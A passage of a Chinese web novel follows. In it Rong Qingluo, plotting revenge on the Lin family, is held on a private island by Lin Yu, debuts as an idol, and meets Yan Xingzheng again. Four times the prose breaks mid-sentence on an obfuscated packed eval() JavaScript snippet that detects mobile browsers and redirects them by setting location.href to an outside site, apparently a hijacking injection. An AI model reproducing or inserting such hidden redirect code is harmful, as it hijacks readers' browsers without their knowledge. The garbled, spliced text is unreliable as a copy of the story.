最好的结局就是林晶、林裕、严靖诚在争斗过程中一起被干掉，这样容清洛就可以省去很多事。 奈何事与愿违，最终，林裕胜。 令林裕成功转败为胜的关键点是什么呢？ 容清洛左思右想，得出她对这个问题的答案。 她认为，林裕胜在势。 认识到这一点，容清洛突然比以往任何时候都更能理解借势的重要性。 她必须像林裕一样，学会借势。 林晶自出生起，天然拥有林家和林裕的势。 只要林晶一日有林裕和林家做靠山，任凭容清洛如何揭露林晶的真面目，根本不起任何作用，她始终撼动不了林晶。 只有让林家彻彻底底倒台，让林家的势没有发挥的余地，在这样的情形下，林家兄妹的恶行才会受到惩处。 而林家除了有林家本身的势，还有靠山的势。 这次范家之所以棋差一着，差就差在靠山的势上。 容清洛知道她本人是什么都没有的。 她只能借比林家和林家的靠山更高的势，才能在最终对决时压林裕一头，避免被林裕反杀。 如梦初醒一般，容清洛在此刻才真正明白贺溪君曾经对自己讲的话。 那时，贺溪君说她是警方的线人。 她说，包括林家在内的整个宁川市的黑恶势力，都在上面的暗中调查当中。 她说，这是容清洛的机会。 而其中真意，容清洛直到如今才领悟。 容清洛连忙拿出手机，想要联系贺溪君。 然而，兹事体大，容清洛明白，她不能这样随意地在通讯软件上或者电话中留下痕迹。 可是，最近有人在暗中盯着她，她不能随便去找贺溪君，这样会给贺溪君带来不必要的麻烦。 基于各种考量，容清洛只好暂时放下这件事，毕竟此事需要慢慢筹谋，急不得。 她继续复盘，得出一个结论，就是，在绝对的武力、权力、金钱的压制下，任何阴谋诡计都是没有用的。 然而这几样，她都没有。 她所拥有的，只是一个并不算很有天赋的脑子。 她并没有办法对林裕产生武力、权力、金钱上的压制，一旦硬碰硬，她只有吃亏的份。 哪怕她有再多的谋划，林裕都有打破一切的资本。 这是她对上林裕时最大的劣势。 为此，她已经付出巨大代价。 不过，无论是林裕还是林晶，如果庇护他们作恶的屏障不再，他们还能如现在这般嚣张吗？ 所以，归根结底，正说反说，容清洛认为自己都必须开始借势。 只有借助更强的武力、更高的权力、更大的金钱，才能把林家连根拔起。 想到这里，容清洛问自己，那她有什么价值，可以借到这个势呢？ 以前，她接近林裕，是被动行为，为的是与严靖诚合作。 而现在，她要主动靠近林裕。 如果真的有某种力量正在调查林家隐藏于冰山之下的黑暗，她虽无法给予林裕雷霆万钧的一击，却可以为那些能做到此事的人提供别人都提供不了的信息。 这是她能做的事情，是她的价值所在。 即便她只是一张大网里的一小环，一张大棋盘里的一颗小棋子，但她相信，世上无难事，只要她一直尝试，只要她永不退缩，终有一日，林裕和林晶，必败。 83. 走入无间 严靖诚死后，林裕专门派人到严靖诚在南庐市的住处搜寻。 手下人带回来不少严靖诚以往经手过的有关范家的资料。 林裕想把范家在南庐市的地下产业接手，便派人专门整理这些资料。 在众多的资料里，意外地发现了容清洛提到过的她和严靖诚的合同。 林裕翻阅过合同，才知道容清洛原名叫季希。 不过，他很快便将这事放在一边。 毕竟，在这场他和范家的战斗大戏落幕以后，他还需要履行对吴老的承诺，和有精神问题的吴小姐成婚。 林裕举办完婚礼，就把林晶送出了国，让林晶在国外避避风头，读完本科和硕士以后再回来。 日子一天天过去，林裕在事业上高歌猛进，回到家却要天天面对一个不甚清醒的妻子，心里不满至极，却碍于岳丈的威压，全都忍着。 为缓解这种郁结，林裕晚上从公司出来后会先不回家，而是到朋友的酒吧买醉。 这种时候，他一般都没叫司机跟着，回去时只好叫代驾。 好巧不巧，今天夜里的这个代驾好像有点眼熟。 林裕还有一丝清明：“容清洛？” “林总好记性。”容清洛面无表情，她坐上驾驶座，启动汽车。 经过一段沿江公路，路上有障碍物，容清洛打了一把方向盘，林裕突然道：“容小姐心里不会憋着坏，要把车往水里开吧。” 容清洛从后视镜里对上林裕的眼：“我如果真这样做呢？” 林裕靠在座位上，满不在乎道：“那我只好和容小姐一起做一对淹死鬼了。有美人相伴，奈何桥也好走一些。” 容清洛：“林总有心事？” 林裕不答反问：“你不恨我了？” “林总很有自知之明。”容清洛，“你知道我恨你，还敢坐我开的车？” 林裕：“没办法，我喜欢刺激。” 见容清洛没有接话，林裕沉吟片刻，开口：“你要是有胆子，跟我到一个地方，我给你看样东西，算是赔罪。” 容清洛：“有何不敢。” 林裕说了一个地址。 容清洛掉头，开上另一条路。 到达目的地，是一个住宅区。 容清洛把车停进停车场，猜想这里可能是林裕的另一处公寓。 所谓狡兔三窟，不外如是。 林裕打开车门，对驾驶座上的容清洛道：“你在这儿等着。” 没过多久，容清洛正盯着方向盘想事情，车窗被敲响。 她降下车窗。 林裕向她招手：“出来。” 容清洛下车，目光落在林裕手中之物上，定住。 林裕晃晃手上的资料：“看看，这是什么好东西？” 容清洛认得，那是她当时和严靖诚签的合同。 林裕从兜里拿出打火机，将文件点燃：“季希，你自由了。” 这个合同上写了很多东西。 如果林裕读过，他会知道她的来历、她的身份、她和林晶的恩怨以及严靖诚让她做的事情。 没想到他并未用这个拿捏她，竟然就将其一把火烧掉了。 容清洛有些恍惚。 愣神之间，她感到脖子受到一击，天旋地转，她晕了过去。 *** 容清洛清醒过来时，发觉自己身处一间陌生的卧室。 拉开窗帘，外面天光大亮。 她在房间里没找到自己的手机，打开门，才发现这里是一栋别墅。 容清洛下楼。 有人听到动静，从厨房里出来，看见她，迎过来：“容小姐您醒了。” 这是一个中年妇女。 容清洛问道：“阿姨好，请问您是？” 汤兰：“容小姐，林先生吩咐我这段时间专门负责您的生活起居、一日三餐。” 容清洛：“林先生？林裕？” 汤兰点头：“是。” 容清洛环顾四周：“这是哪里？我为什么会在这儿呢？” 汤兰：“这里是林先生的一栋别墅，昨天夜里林先生带您来的。当时您睡着了，林先生把您抱回房间后就离开了。” 容清洛：“汤阿姨，你看见我的手机了吗？” 汤兰：“没有，昨天没看见您的包。” 容清洛：“那这里有电话吗？” 汤兰摇头：“没有。” 容清洛：“汤阿姨，我可以借用一下你的手机吗？” 汤兰不好意思道：“林先生专门交待过，不能借给您手机，否则要开除我的。” “好吧，”容清洛，“那我出去转转。” 汤兰解开围裙：“您对这边不了解，我陪您。” 容清洛不置可否，她推开别墅的门，发现门外两侧站着两个保镖。 容清洛无视那两个人，向外走去。 保镖自动跟在她身后。 容清洛扭头：“你们为什么跟着我？” 保镖：“老板吩咐的。” 容清洛：“你们老板是谁？” 保镖：“林总。” 容清洛：“我不需要你们跟着，请你们不要跟着我。” 然而她出门以后，那两个保镖仍然跟在后面，只是和她拉开了一点距离。 容清洛只好不再管他们。 她沿着路向前走着，想通过路标分析这里是哪里。 然而并未出现什么路标。 容清洛走着走着竟然发现远处出现一片水域。 她加快脚步，来到水边：“这是九川江吗？” 汤兰：“是，不过这是九川江的一条小支流。” 容清洛：“这个地方叫什么？” 汤兰：“花洲岛。” 容清洛：“咱们在岛上？这里还在宁川市吗？” 汤兰：“在的，花洲岛在宁川市郊区，是一个自然形成的沙洲小岛。” 容清洛：“你们平常怎么出岛，有桥吗？” 汤兰：“没有桥，如果要到岛外，需要坐船。” 容清洛：“船在哪里？” 汤兰犹豫半晌，才道：“船由林先生控制， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578034|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林先生吩咐过，不让您坐船出岛。” 容清洛：“管天管地，他是岛主？” 汤兰点头：“是，林先生前些年买下了这座岛，有花洲岛的使用权。” 盯着潋滟的水面，容清洛面色阴沉。 她走到那两个保镖面前：“请你们帮个忙，给你们老板打电话，我有话要问他。” 两个保镖对视一眼，其中一个拿出专用手机，拨通电话：“老板，容小姐找您。” 对面说了一句什么，保镖把手机递给容清洛。 容清洛接过手机，往旁边走了走。 汤兰和保镖这次都和她保持了些许距离。 林裕的声音通过电话传到耳边：“容清洛，你找我。” 容清洛：“林裕，你放我离开。” 林裕：“不是你主动送上门来的吗？” “你不喜欢我，你痛恨我，这我都知道。本来想放你走的，但是昨天又遇到你，不管你是有意还是无意，我只当这是天意。” “那么，从此以后，你就待在我身边吧。” 容清洛提醒道：“林总，你是有家室的人。林太太如果知道你这么做，不会同意吧？” 林裕：“所以我请你待在岛上。如果你在岛外被我太太娘家的人发现，可别怪我没有提醒你，到时候我也保不住你。” 容清洛：“你明明可以放过我。” “枉我昨天还以为你良心发现了。” 林裕：“我对你是真心的。” “真心希望你和我一起受苦，希望你陪我一起受折磨。” “我最近心态不太好，但是看到你为了报复我而违心地接近我，违心地对我笑，说实话，我感觉没那么痛苦了。” “苦果，还真是要找人一起吃。” 听着林裕恶劣的笑声，容清洛道：“林总有娇妻美眷相伴，林氏集团如日中天，别人都羡慕你，林总还有什么不满意的，竟然觉得自己在受苦？” 林裕：“也许你以后会明白，如果你愿意陪在我身边的话。” 容清洛：“最应该和你同甘共苦的人是林太太。” 林裕：“她做不到。” 容清洛：“林太太都做不到，我更做不到。” 林裕：“这事你说了不算。” 容清洛：“你这是非法监禁我。” 林裕：“别说那么难听，我只是请你到岛上做客。花洲岛风景宜人，你在岛上玩一段时间，我有时间会去看你的。” 容清洛：“林总，我还有工作要做。” 林裕：“你有什么工作？你之前的工作不是接近我打探消息吗？我看你做得也不好。反正如今合同烧了，那玩意你也不用干了。” 容清洛：“我在咖啡店工作。” 林裕：“那家咖啡店是我的，我辞退你，你不用去了，这总行了吧。” 容清洛：“我手机呢？” 林裕：“在我这里。手机这种干扰人心的东西不适合你，先由我替你保管。你如果觉得无聊的话，岛上有很多好玩的地方，让汤婶带你四处转转。” 84. 走入无间 容清洛就这样被困在了花洲岛。 林裕最近应该是比较忙，并未来过岛上。 这倒让容清洛松了一口气。 只是，林裕不给她手机，不给她网络，不让她接触外面的人。 每天只有汤婶以及缀在远处的两个保镖陪着她在岛上四处闲逛。 这天晚上吃完饭以后，天空雷声轰隆，容清洛望向窗外，只见黑云密布，有闪电划破长空，分外狰狞，照亮狂风中摇曳的树木。 容清洛打开大门，对外面的保镖道：“看样子待会儿要下大暴雨，挺危险的，你们要不先回去休息吧。” 她知道保镖在岛上有专门的休息室。 见二人犹豫，容清洛又道：“你们担心我会跑？这么恶劣的天气，我不会拿自己的命开玩笑的。” “你们也一样，工作重要，还是命重要？” 因为容清洛这些日子里并未表现出要逃跑的意思，再加上此刻雷电交加，在外面确实很不安全，两个保镖便接受了容清洛的建议，暂时回去避一避。 回到屋内，容清洛让汤婶回房间早点休息，然后便一个人在客厅里看电视。 屏幕上播放着没什么营养的小甜剧，容清洛纯粹是把电视里的声音当作她想事情的背景音。 把人都支走，并不是她想逃走，她只是想要一个人静一静，在不被监视的情况下。 就在这时，屏幕发生变化。 小甜剧里男女主说话的声音仍然响着，屏幕却突然变黑，上方冒出一行字迹。 「洛洛，我是画画，收到请按1。」 容清洛怔愣几秒，陡然意识到这可能是贺溪君。 此时，林裕安排的人都已经被她暂时支开，这会儿除了她，没人能看到屏幕。 并且，经过她多日来的观察，别墅外面有监控，但别墅内部并无监控。 所以，暂时安全。 容清洛迅速捞起茶几上的遥控器，摁下数字1。 屏幕上回复了一个卡通笑脸。 接着又出现一行字。 「多日联系不上，是否被困，是请按1，否请按2。」 容清洛摁下数字1。 屏幕上出现满满一屏大大的字。 「咖啡店说你已离职。用公用电话多次打你手机，一直关机。查到最后的定位显示在郊区的江上。根据沿途监控排查多日，才查到你在这里。阅毕请按1。」 容清洛喜出望外，连忙摁下1。 想到手机最后定位的地方，容清洛皱眉。 林裕不会把她的手机扔江里了吧。 狗东西。 屏幕上又出现一行字。 「是否是林氏集团的林总控制住了你，是请按1，否请按2。」 容清洛摁下1。 「花洲岛是私人岛屿，外人不能上岛，也很难接近。你是否有出岛机会，是请按1，否请按2。」 容清洛叹气，摁下2。 「方案一：一走了之。你可以跳水里，在江上游一段距离，我开船在水面上接应你。是否会游泳，是请按1，否请按2。」 容清洛深恨自己竟然不会游泳，她摁下2。 「方案二：顺势而为。告诉林裕，岛上生活太无聊，你想要工作，以此为理由让林裕允许你出岛。如果他让你在林氏产业里选岗位，建议选择林氏旗下的娱乐公司，当明星。明星自带话题度，有社会影响力，对你报仇有利。如果避不开林裕，不如借他的势。阅毕请按1。」 这个方案让容清洛陷入沉思，她正准备摁1，黑屏突然消失，电视屏幕恢复成正常的模样。 诧异之间，容清洛听到钥匙插进大门的声音。 她扭头，看见大门被推开，林裕拿着一把湿漉漉的伞走了进来。 容清洛：“你……” 林裕走近：“怎么，傻了？” 容清洛：“这个天气，你怎么会来？” 林裕在沙发上坐下：“看到今晚有强雷电大暴雨，怕你死在岛上，来看看。” 容清洛面无表情：“哦，托你的福，还健在。” 林裕倒水喝，问道：“给你安排的保镖和保姆呢？怎么就你一个人在？” 容清洛：“刚刚雷电太大，我怕不安全，就让保镖回去了，汤婶我让她回房间了。” 林裕：“你倒是好心。” 容清洛：“林总今天心情不错？” 林裕：“还可以。” 容清洛：“我想离开这里，你放我走吧。” 林裕：“这里不好吗？” 容清洛：“你要我留在这里做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578035|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么呢？” 林裕把容清洛揽进怀里，低眸问她：“现在知道我想做什么了吗？” 容清洛挣扎道：“你拿我当林洛的替身对吗？你如果对她念念不忘，为什么不直接去追求她，和我搅在一起算什么？” 林裕控制住容清洛乱动的身子，笑道：“你的思路被严靖诚带偏了。” “我心心念念的人可从来不是林洛。” 容清洛：“可是我有喜欢的人。” 林裕：“你说的是程氏集团的二公子程景逸？” 这是今天林裕进门以后，容清洛第一次真正感到慌乱：“这你都知道？” 林裕：“你是季希时，也许和他还有可能。但你现在已经是容清洛了。” “清洛，我告诉你，你的程景逸一早就被他爸送出国了，这几年都没回国。而且即便他回国了，有我在，你觉得我会让他知道你的消息？” “忘掉季希的过去吧，现在你就是容清洛。” 容清洛微微闭眼，掩去泪意。 她深呼吸让自己冷静下来：“你是喜欢这张皮囊吗？” “可你既然查过我，就应该知道，我以前不长这个样子。” “我不在乎你原来的模样，不在乎你的身份，不在乎你之前是谁，不在乎你以前心里有谁，你可以在我这里重新开始你的人生。”林裕蛊惑道，“我把你养在这里，你什么都不用做，有人照顾你的日常所需，每个月会有人给你送当季最新款的衣服首饰包包鞋子，你还有其他要求也可以提。” 容清洛：“林总，可你有林太太要照顾，她才是你的合法妻子。你这样对我，无论在道德上还是法律上，都不合适。” “驯最烈的马，喝最烈的酒，人生一大快事。”林裕低下头，让容清洛看清自己眼底的狠厉，用最温柔的语气讲出恶劣的话语，“我就是想看你被强迫却无能为力的、痛苦又挣扎的模样。” 容清洛回忆起，林裕上次也说过类似的话。 她试探道：“你娶你太太不是自愿？你……为权势做鸭？” 林裕脸有些黑。 容清洛改口道：“为事业折腰？” “所以你心态崩了，要从我这里找补回来？” 林裕拍拍容清洛的脸：“建议你说一些好听的，否则后果自负。” 85. 走入无间 容清洛：“说老实话，如果我和你拼命，你也讨不到好处。” “但我不想和你斗得两败俱伤，我想有尊严地活着。” “你即便只是想养只无聊时逗趣的宠物，也得时不时地带出去遛遛弯吧？” “更何况我还是一个活生生的人。你现在成天把我圈养在这么一个小破岛上，与世隔绝，我都快发霉了，我要出去工作。” “不可能总是在你提要求吧，你要我答应你，起码也得保障一下我的诉求吧，不然我宁愿鱼死网破。” 林裕也不想让容清洛反抗得太激烈，于是他颔首道：“你说的也还算有道理。” “你想做什么工作，林氏集团里的岗位随便选。不过不要做那种离我太近的职位，容易被发现。” 容清洛的眼神飘向电视，小甜剧的主角男帅女美，青春靓丽。 林裕挑眉：“什么意思，觉得他帅？” “我想当明星，”容清洛瞥了林裕一眼，像是故意出难题一样，说道，“要是连这都做不到，你凭什么让我答应你呢，趁早一拍两散吧。你好好对你的林太太，放我一条生路。” 林裕：“你要是想玩一玩，倒也不是不行。” “想象一下我的清洛成为人们都能看见的最闪耀的明星，也有一种养成的快乐。” 思及此，林裕对容清洛出去工作也没有那么排斥了：“林氏旗下有娱乐子公司，刚好最近他们在筹划一档选秀类综艺，你签到我公司，参加这个选秀，然后就可以出道。” “如果你是我公司旗下的艺人，那我见你也有正当理由了，挺好。” 自那以后，容清洛便在林裕的安排下开始学习声乐和舞蹈。 老师说她在唱歌方面很有天赋，嗓音也很独特。 半年以后的冬天，当了几个月练习生的容清洛参加了《偶像制造》这档选秀类综艺节目。 虽然林裕同意放容清洛出来工作，但是他在容清洛身边安排的全是他的人。 容清洛的旧手机果真被林裕扔进江里了，现在的手机是林裕给她配的，没联网，只能打电话，且通讯录里只有林裕一个联系人，工作上需要和其他人建立联系的时候容清洛都需要通过助理。 节目录制正好是在寒假期间，贺溪君有时间。 她为了能够见到容清洛，作为个人练习生报名参加了这档选秀节目。 因为贺溪君的相貌确实很出色，无可挑剔，所以即便没有签约经纪公司，也还是被节目组选上了。 不过贺溪君因为没有背景，还是很快就被淘汰出局。 但她和容清洛借着参加综艺的机会，终于顺利会师。 容清洛：“画画姐，你之前说你是线人，并且上面在调查林家，那么，我也想当线人，可以吗？” 贺溪君：“洛洛，我之前是我哥的线人，但现在我哥已经不当卧底了，他被调回了老家南庐市。” 见容清洛有些失望，贺溪君建议道：“其实洛洛你自己也能找啊。” 容清洛：“可我身边都是林裕的人，根本脱不了身。” 贺溪君暗示道：“你可以多留意林裕的手下，里面也许会有你要找的人。” 容清洛：“那我多留心一下。” 贺溪君：“对了洛洛，焕焕目前在南庐市的师范学院读大学，她的男朋友邱浩不久前因为林家的缘故意外死亡，所以焕焕也想加入你的复仇计划，说我们可以组成复仇者联盟。” “邱浩？”容清洛觉得邱浩这个名字很耳熟，回忆半天才想起来，邱浩就是当初借钱给吴焕晗妈妈做手术的那个消防队队长。 没想到他竟然已经身故了。 大家的命运为什么都这么悲惨。 贺溪君也十分唏嘘，她转达了吴焕晗的想法，说吴焕晗准备去报个班学习化妆技术，利用假期和业余时间在圈内兼职当化妆师，这样方便和容清洛联系。 容清洛当然同意。 吴焕晗算是她学生时代硕果仅存的好朋友了。 选秀节目热热闹闹地录制了三个月。 容清洛本身对节目里的输赢并无太大追求，因为她来参加选秀本身就只是应付林裕的一个幌子，她的主要目的还是伺机寻找林裕的破绽。 所以她纯粹就是对得起公司和节目组给的工资，每天到点上班，到点下班，在规定时间内完成工作，和其他人比一点都不拼，但可能就是这种打工人的气质，让她多少获得了一点观众缘，人气竟然不算低，算是无心插柳柳成荫。 最终成团的组合名叫glory。 容清洛作为glory组合的主唱正式出道。 接下来她便走上了爱豆的营业之路，准备各种舞台，参加各种综艺，有时还给一些电视剧和网剧唱OST。 时光飞逝，吴焕晗如愿进圈兼职当化妆师。 贺溪君在网上拍起了短视频，她有参加选秀节目的热度，便也渐渐成为一个不大不小的网红。 三人平常在工作中碰见都装并不熟悉的点头之交。 实际上这三个在别人眼里八竿子打不着的人，却组成了复仇者联盟。 容清洛曾问过贺溪君和林家有什么仇怨。 当时贺溪君是这样回答的：“我说过，守护你是我的宿命。所以，你的仇怨就是我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578036|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仇怨。” 两年时光匆匆如水。 女团成团即失业。 容清洛所在的团是限定团，在娱乐圈不温不火地苟了两年，最终解散。 林裕早就觉得她当女团后通告很多，一直在外面跑。 现在容清洛的团解散，林裕就想让容清洛回来：“你这两年也过了一把当明星的瘾，该收收心了。” 容清洛却觉得：“我身边都是你的人，我每天的行程你一清二楚，没通告的时候我都会陪着你，你还想怎样，我不能失去工作，我不想被你圈养。” 实际上，容清洛不能失去的是她和外界以及贺溪君等人的联络。 就这样，容清洛和林裕冷战了一阵子。 林裕不再让公司给容清洛资源，希望容清洛知难而退，早点回到他身边。 那时候容清洛在圈内并不是查无此人，多少也算有些名气，自然也就有一些攻击她的黑粉。 通告很少，还被黑了一阵子，容清洛难免还是有些伤心。 恰好那天是吴焕晗给容清洛化妆，当化妆室没有其他人在时，她轻声安慰容清洛：“你记得原来在学校，林晶那伙人都很看不惯你，也看不惯我吗？” “其实别人看不惯你，很多时候也许不是你自己的问题，而是在那些人的心态和观念中本身就存在着一些问题，你只是在做你自己的时候无意中触碰到了这些问题。” “对方是先因此看不惯你，才开始吹毛求疵地找各种借口和理由来针对你，并且绝不承认是她们自己的心出现了问题。” “这就跟你是红色的而她讨厌红色，所以她看到你就讨厌你，但她就不说是因为你是红色而讨厌你，她只会到处说你的人品有问题，说你这不好、那不好，让其他所有人也跟着讨厌你，拉帮结派，群起而攻之，誓要把你的名声搞臭，这样她才觉得大快人心。” “而你就要因此被些莫须有的谣言和罪名给打垮吗？有脑子的人能看清真相，不会人云亦云。没脑子的人稀里糊涂，祝愿这些人以后不会被别人这样居心叵测地针对。” “所以你千万别被网上的那些言论影响，做你自己就好啦。” 容清洛努力让自己的心态变得更强大，屏蔽这些外界的干扰。 林裕暂时不给容清洛任何资源，为的就是让容清洛自己放弃，乖乖回去找他。 容清洛必须得保证和外界的联系，所以她不能让林裕的心思得逞。 于是她为了争取一个综艺，参加了一个饭局。 意外地，容清洛在席间看见了有两年未见的晏行铮，而且晏行铮还是作为一个很重要的人物被众人追捧。 86. 月夜沧浪 这两年来，晏行铮一直在南庐市，替林裕打理从范氏接手的各个地下产业。 做出不少功绩以后，晏行铮如今算是阶段性地经受住了林裕的考验，因此他前段时间被林裕调回了宁川市。 晏行铮离开南庐市不久，警方便收网，把林裕在南庐市的黑色产业一网打尽。 不过晏行铮没被怀疑，因为他离开南庐市的时候，留下了一个陷阱，他那帮手下里谁按耐不住野心踩进去，谁就会成为告发林裕的替罪羊。 所有人都认为，林裕在南庐市的黑色产业之所以会覆灭，与手下人的派系争斗有关，又干已经被调走的晏行铮何事呢？ 虽然在这两年里，晏行铮和容清洛没有交集，但他对容清洛的动态并非一无所知。 他知道容清洛在林裕身边待了两年。 他知道容清洛参加选秀成团出道。 他知道容清洛所在的团今年解散。 他知道因为林裕想让容清洛退圈，容清洛正在和林裕冷战，而林裕停掉了容清洛的所有资源。 今天的饭局，其实晏行铮本来不打算来的。 他才回宁川市一个月，林裕交给他的事情，他都需要小心应对，不能出错，所以无关紧要的事情，他能推则推。 但是得知容清洛正在争取一个综艺，而这个饭局上有那个综艺的投资商，晏行铮改变了主意。 入席时，晏行铮看见了容清洛。 他对她微微颔首。 容清洛明明也看见他了，却不知出于什么原因，低头避开他的视线，并未理他。 晏行铮挑眉，故意当着众人的面和她打招呼：“容小姐也在，久仰久仰。” 容清洛似乎没料到他会这样做，只好浅笑回应。 饭局上，坐在容清洛旁边的那个老总一直在与她搭话，渐渐地还动手动脚起来，容清洛没惯着他，直接狠狠地在饭桌下踩了那人几脚。 那老总忍着没喊，但总归是生了气，便在席间喝酒的时候提议让容清洛当众跳舞，潜台词是在说她是供人取乐的戏子，多少带着点侮辱人的意味。 容清洛不愿被林裕囚禁在花洲岛，就必须自己争取到资源，所以她别无选择，只好借来一把团扇，当众展示了一支新学的古典舞。 老总开口的时候，晏行铮其实很想出面阻止。 然而，瞧见容清洛并未露出很委屈的神色，晏行铮便放下抬起一半的手，想看看她会如何应对。 晏行铮知道容清洛是搞唱跳的，也看过容清洛跳舞的视频，但他是第一次见容清洛跳古典舞。 寒冬已至，外面滴水成冰，室内却暖意融融。 容清洛在进屋时便已经脱掉外套，此时只穿着一件天青色旗袍。 没有配乐，她手持团扇，清歌妙舞，翩跹而动。 浅浅的莲华纹样缠绕着腰身，勾勒出曼妙曲线，映衬她高雅气质。 低低的发髻上斜倚着珠钗，流苏随着舞步，晃动出撩人的韵律。 整个人风姿绰约，婀娜妩媚。 那仪态万千，让人根本挪不开眼。 晏行铮突然意识到，容清洛已经不是当年那个他觉得有些意思的小姑娘、小妹妹了。 她今年已经二十二岁。 她长大了。 而今亲眼看着容清洛向屋内这些人低头。 想到她这两年一直处在林裕的淫威之下。 莫名地，晏行铮心里止不住地升起一股悲戚和酸楚。 干净的花朵，不该出现在泥沼里。 她本不该，遭受这些。 满堂喝彩声响起，晏行铮才发觉歌舞已毕。 晏行铮端起茶杯，轻抿一口，断掉脑海中纷飞的念头。 注意到有些人盯着容清洛的眼神过于放肆淫邪，晏行铮面无表情地一个个看过去，将那些人的脸记住。 见有人准备继续纠缠容清洛，晏行铮隔空轻点容清洛的方向，看着她开口道：“你，过来。” 那道声音不算大，语气却不容置疑，很有分量。 屋内觊觎容清洛的目光霎时收敛许多。 容清洛似乎有些怔愣，瞧着他，没动。 晏行铮其实面无表情，颇有些不苟言笑的意味。 容清洛实在没从晏行铮的眼眸里看出他对自己舞蹈的欣赏。 晏行铮自顾自地喝茶。 旁边有人察言观色，立马便吩咐服务员在晏行铮身边添上一把椅子，并让容清洛在晏行铮身旁坐下。 之后，晏行铮没再表现出对容清洛的特别和兴趣，全程没有和她说过一句话，只在她要起身时瞥了过来。 淡淡的眼神里没什么情绪，却显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578037|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得举重若轻，莫名地让容清洛有些不敢动。 暗夜里行走多时，对于蛰伏的猛兽，她的直觉很敏锐。 容清洛甚至觉得，晏行铮比林裕更危险，更让人不寒而栗。 林裕是高傲的，心狠手辣的，但不管怎样，她能知道林裕心中在想什么。 可晏行铮却好像是深不见底、神秘莫测的。 时隔两年，此时的容清洛有点拿不准晏行铮的想法，所以不敢轻举妄动。 见容清洛一直没怎么动筷，晏行铮给容清洛夹了点菜，示意她快吃。 容清洛本来想去卫生间，只好忍着。 她安静地坐在一旁，终于捱到饭局结束。 有几个觊觎她的人看见晏行铮一直护在她身边，最后只好默默离去，没再来骚扰她。 不过，其实如果没有晏行铮，容清洛也不怕，因为林裕虽然最近不给她资源，但是保镖一个没少，都在外面等着。 但凡有不轨之徒真做些什么，这些保镖会出手的。 晏行铮准备走时，见容清洛还坐着，他把外套扔到容清洛怀里：“愣着干什么，打算在这里过夜吗？” 容清洛摇头。 晏行铮：“那就跟我走。” 容清洛这才起身，跟上晏行铮的步伐。 两人一前一后向外走。 晏行铮走在前面，容清洛隔着一米远缀在晏行铮身后。 仿佛有一条无形的丝线，拉扯着二人。 晏行铮突然停下，转身。 容清洛低头想着事情，没注意晏行铮的动作，脑门撞上什么东西。 一抬头，发现晏行铮的一根手指抵在她的额头上。 容清洛连忙后退：“抱歉。” 晏行铮收回手，背在身后，指尖似乎还残留着女子香软的气息。 他的目光落在容清洛脸上：“我是你保镖吗？” 容清洛：“不是。” 晏行铮：“那你往前走。” 在晏行铮的注视下，容清洛一小步一小步地向前迈，差点感觉自己要同手同脚。 当容清洛挪到与晏行铮并排平齐的位置时，晏行铮道：“停。” 容清洛面对着晏行铮，瞧见他背后墙上两人交叠重合的影子，没有说话。 晏行铮：“就按照这个队形走。” 87. 月夜沧浪 见容清洛神色莫名，晏行铮才道：“容小姐，我们这种给人卖命的人呢，一般不喜欢后脑勺后面有人。” 容清洛：“为什么？” 晏行铮：“怕有人在背后补枪子。” 容清洛这才明白过来。 晏行铮露出今晚第一个浅浅的笑容：“所以容小姐，请体谅一下吧，可千万——别给裕哥告状。” 容清洛捕捉到那转瞬即逝的笑意，郑重道：“晏先生。” 席间的人都这么喊他，容清洛从善如流，也这般称呼晏行铮。 她道：“你多虑了，清洛不是多嘴的人。” “以后我记住了，和晏先生走在一起时，不能走晏先生身后。” 晏行铮：“嗯。” 这回，两人并排而立，向外走去。 察觉到身边人一直有话想说，但似乎不太敢开口的样子，晏行铮扭头看向容清洛。 容清洛感受到晏行铮的视线，飞速瞟了他一眼。 这一眼被晏行铮抓个正着。 晏行铮凉凉道：“做贼呢？” 这次相遇，晏行铮的气场与几年前变化很大，让容清洛心里一开始有点儿发怵。 